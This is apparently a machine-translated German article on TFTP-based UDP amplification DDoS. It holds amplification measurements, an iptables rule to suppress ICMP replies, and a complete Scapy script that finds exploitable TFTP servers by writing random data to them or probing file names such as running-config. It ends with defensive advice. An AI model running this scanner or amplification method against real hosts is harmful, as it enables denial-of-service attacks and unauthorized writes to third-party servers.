DDoS, Macht suchen

Ich denke, viele haben von DNS-Verstärkungs- und NTP-Verstärkungsangriffen gehört . Es wurde viel über diese beiden besonderen Fälle von UDP-basierten Amplification- Angriffen geschrieben. Welche anderen Protokolle können zur Amplifikation verwendet werden? In diesem Zusammenhang schlage ich in dem Artikel vor, das tftp-Protokoll zu berücksichtigen.

Gehen wir noch einmal zurück und erinnern uns, was UDP-basierte Amplification-Angriffe sind. Die gesamte Implementierung besteht aus zwei Punkten:

  • 1) Senden eines speziellen UDP-Pakets mit einer falschen Absenderadresse (Opferadresse) an einen anfälligen Dienst
  • 2) Die Antwort des Dienstes auf die Adresse des Opfers mit dem Paket ist um ein Vielfaches größer als die ursprüngliche Größe.

Somit stellt sich heraus, dass jedes Bit, das wir an das Opfer senden, um einen Faktor „verstärkt“ wird. Hier ist eine Liste von Protokollen und deren Verstärkungskoeffizienten nach us-cert.gov:



Dies ist keine vollständige Liste, es gibt andere "interessante" Protokolle, zum Beispiel tftp. Mein Artikel wird ihm weiter gewidmet sein.

Theorie


Trivial File Transfer Protocol (tftp) ist wirklich sehr trivial, der Name beschreibt alle Funktionen. Tftp unterstützt keine Authentifizierung und auch keine Sicherheitsmechanismen. Um einen UDP-basierten Amplification-Angriff zu implementieren, müssen wir verstehen, welches TFTP-Paket "amplified" zurückgibt. Paket, ist der Empfang / Übertragung initiieren wie folgt:



Nach der Überprüfung der RFC 1350 , ist es klar , dass unsere Anforderungen durch das Paket erfüllt sind, Empfang der Datei zu initiieren. Gemäß dem Standard kann das erste Paket, in dem die Absenderadresse gefälscht werden kann, RRQ (Leseanforderung) oder WRQ (Schreibanforderung) sein. In Antwort auf die WRQ sendet der Server ein Bestätigungspaket geringer Größe, aber das erste Paket angeforderter Daten mit einer Größe von nicht mehr als 512 Bytes kommt als Antwort auf die RRQ. Das Format, das wir brauchen:



\ x01 - opcode RRQ
octet - Übertragungstyp, in unserem Fall nicht wichtig.

Um ein solches Paket und nachfolgende Tests zu erstellen, verwende ich Scapy . Ich schlage vor, die Möglichkeit der Verwendung von TFTP-Verstärkung für Starter unter idealen Bedingungen zu testen.



Auf dem Host-Betriebssystem wird tftpd32 ausgeführt , auf dem Gastsystem fungiert der Laptop als Opfer. Der erste Test, bei dem ein solches Paket gesendet wurde :



Der folgende Datenverkehr trat auf der Seite des Opfers auf:



Die 62 Bytes, die wir gesendet haben, erzeugten einen Datenverkehr von 1306 Bytes, was dem 21-fachen des Originals entspricht. Das Ergebnis ist ein kleiner Koeffizient, aber lasst uns den ICMP-Verkehr verbieten, wie es oft der Fall ist.
# iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP

Diesmal wird der folgende Datenverkehr angezeigt:



Das Gesamtvolumen beträgt 3415 Byte, das Verhältnis diesmal 55. Dies ist bereits mit der DNS-Verstärkung vergleichbar.

Übe


Die Anzahl der verfügbaren TFTP-Server überschreitet 200.000 nicht, sowohl nach Schätzungen von shodanhq.com als auch nach eigenen „Gefühlen“. Im Vergleich zu 28 Millionen ‚gefährlich» DNS - Server vom tftp - Server kleineren Bedrohung. Außerdem müssen Sie den Dateinamen auf dem Server kennen oder beschreibbar sein, um die Verstärkung verwenden zu können. Dies reduziert auch die Anzahl der Server, die verwendet werden können. Ein einfaches Skript wurde geschrieben, um die richtigen Server zu finden.

Skript selbst
#/usr/bin/env python
from scapy.all import *
from random import randint
import os, time
import multiprocessing as mp
def send_udp(ip):
    name_list = open('name_list.txt', 'r')
    wr_str = os.urandom(511)
    tftp_wrq = IP(dst=ip)/UDP(sport=2222, dport=69)/TFTP()/TFTP_WRQ(filename='filename', mode='octet')
    p_wrq = sr1(tftp_wrq, timeout=2, verbose=0)
    try:
        if p_wrq.payload.payload.load:
            if p_wrq.payload.payload.load[1] == '\x04':
                tftp_data = IP(dst=ip)/UDP(sport=2222, dport=p_wrq.sport)/TFTP()/TFTP_DATA(block=0)/wr_str
                send(tftp_data, verbose=0)
                res = (ip, 'filename')
                return res
            elif p_wrq.payload.payload.load[1] == '\x05':
                for name in name_list.read().split('\n'):
                    tftp_rrq = IP(dst=ip)/UDP(sport=2222, dport=69)/TFTP()/TFTP_RRQ(filename=name, mode='octet')
                    p_rrq = sr1(tftp_rrq, timeout=2, verbose=0)
                    if p_rrq.payload.payload.load[1] == '\x03':
                        res = (ip, name)
                        return res
    except AttributeError:
        return False
def save(res):
    if res:
        fo.write('%s:%s\n' % res)
def main(ip_mas):
    pool = mp.Pool(5)
    for ip in ip_mas:
        pool.apply_async(send_udp, args=(ip, ), callback=save)
    pool.close()
    pool.join()
if __name__ == '__main__':
    f = open('tftp_list.txt', 'r')
    fo = open('results.txt', 'a')
    ip_mas = []
    for line in f.read().split('\n'):
        if line:
            if len(line.split('.')) == 4:
                ip_mas.append(line)
    main(ip_mas)
    f.close()
    fo.close()

name_list.txt - eine Liste von Dateinamen, deren Vorhandensein auf tftp überprüft werden muss; meine Liste ist EUPL-EN.pdf; tftpd32.ini; .bash_history; Startup-Konfiguration; running-config; pxelinux.cfg; linux.bin; boot.bin

Von den zehntausend überprüften Servern erwiesen sich nur 1,5 Tausend als geeignet, aber ich denke, diese Zahl kann erhöht werden, indem eine kompetente Liste von Dateinamen erstellt wird, deren Verfügbarkeit überprüft wird. Durch Leider Glücklicherweise ist mein Provider nicht die Möglichkeit gegeben , eine Erhöhung der Last auf der Schnittstelle zu testen vps zahlen, da das Gerät verwirft das Paket mit der „falschen“ Adresse des Absenders. Ich musste improvisierte Mittel anwenden. Auf dem Gastcomputer mit scapy war das tc- Programm in der Geschwindigkeit begrenzt , und der Laptop mit dem Verkehrsmonitor blieb das Opfer. Durch das Ändern des Skripts wurde in der Praxis ein Gewinn von 31-mal erzielt (gemäß dem Schema ohne ICMP-Antwort). Es ist schwierig, über die Richtigkeit praktischer Indikatoren zu sprechen, da der Anbieter möglicherweise Anpassungen an den Prioritäten der Verkehrsgeschwindigkeit vornimmt.

Fazit


Ich glaube, dass die UDP-basierte TFTP-Verstärkung zwar mit der DNS-Verstärkung vergleichbar ist, aber aufgrund ihrer geringeren Verbreitung und ihrer Betriebseigenschaften nicht so kritisch ist. Es ist möglich, es als Teil eines Hybridangriffs zu verwenden, und die Verwendung als einziger Angriffsvektor ist meines Erachtens nur bei schwachen Datenübertragungskanälen gerechtfertigt.

Es scheint mir, dass einige Experten ein Missverständnis von "Amplification" haben könnten. Nach dem Prinzip "Ich habe kein öffentliches DNS, NTP, das hat keine Auswirkungen auf mich". Mit diesem Artikel möchte ich Sie darauf aufmerksam machen, dass das Hauptproblem von "Amplification" -Angriffen nicht nur in der Implementierung von DNS-, NTP-, tftp- usw. Diensten liegt, sondern auf einer niedrigeren Ebene entlang des TCP / IP-Protokollstapels - UDP. Um dieses Problem zu lösen, muss auf vielen Ebenen gearbeitet werden, d.h. Beim Erstellen von Diensten auf UDP sollten Programmierer versuchen, die Verstärkung zu verringern, Netzwerkexperten sollten das Spoofing von Absender-IP-Adressen in ihren Zonen verbieten und Systemadministratoren sollten den Zugriff auf Dienste ausreichend einschränken.

Analyse anderer auf UDP ausgeführter Dienste:

Quake 3 Server
SSDP
SNMP, NTP, Chargen

PS: Es gibt Leser, die über Fälle aus der Praxis berichten können, in denen UDP-basierte Amplification-Angriffe stattfanden, neben DNS und NTP, ob es Hybrid-Angriffe gab, welche Leistung, teilen Sie bitte meine Erfahrungen in den Kommentaren mit.

Jetzt auch beliebt: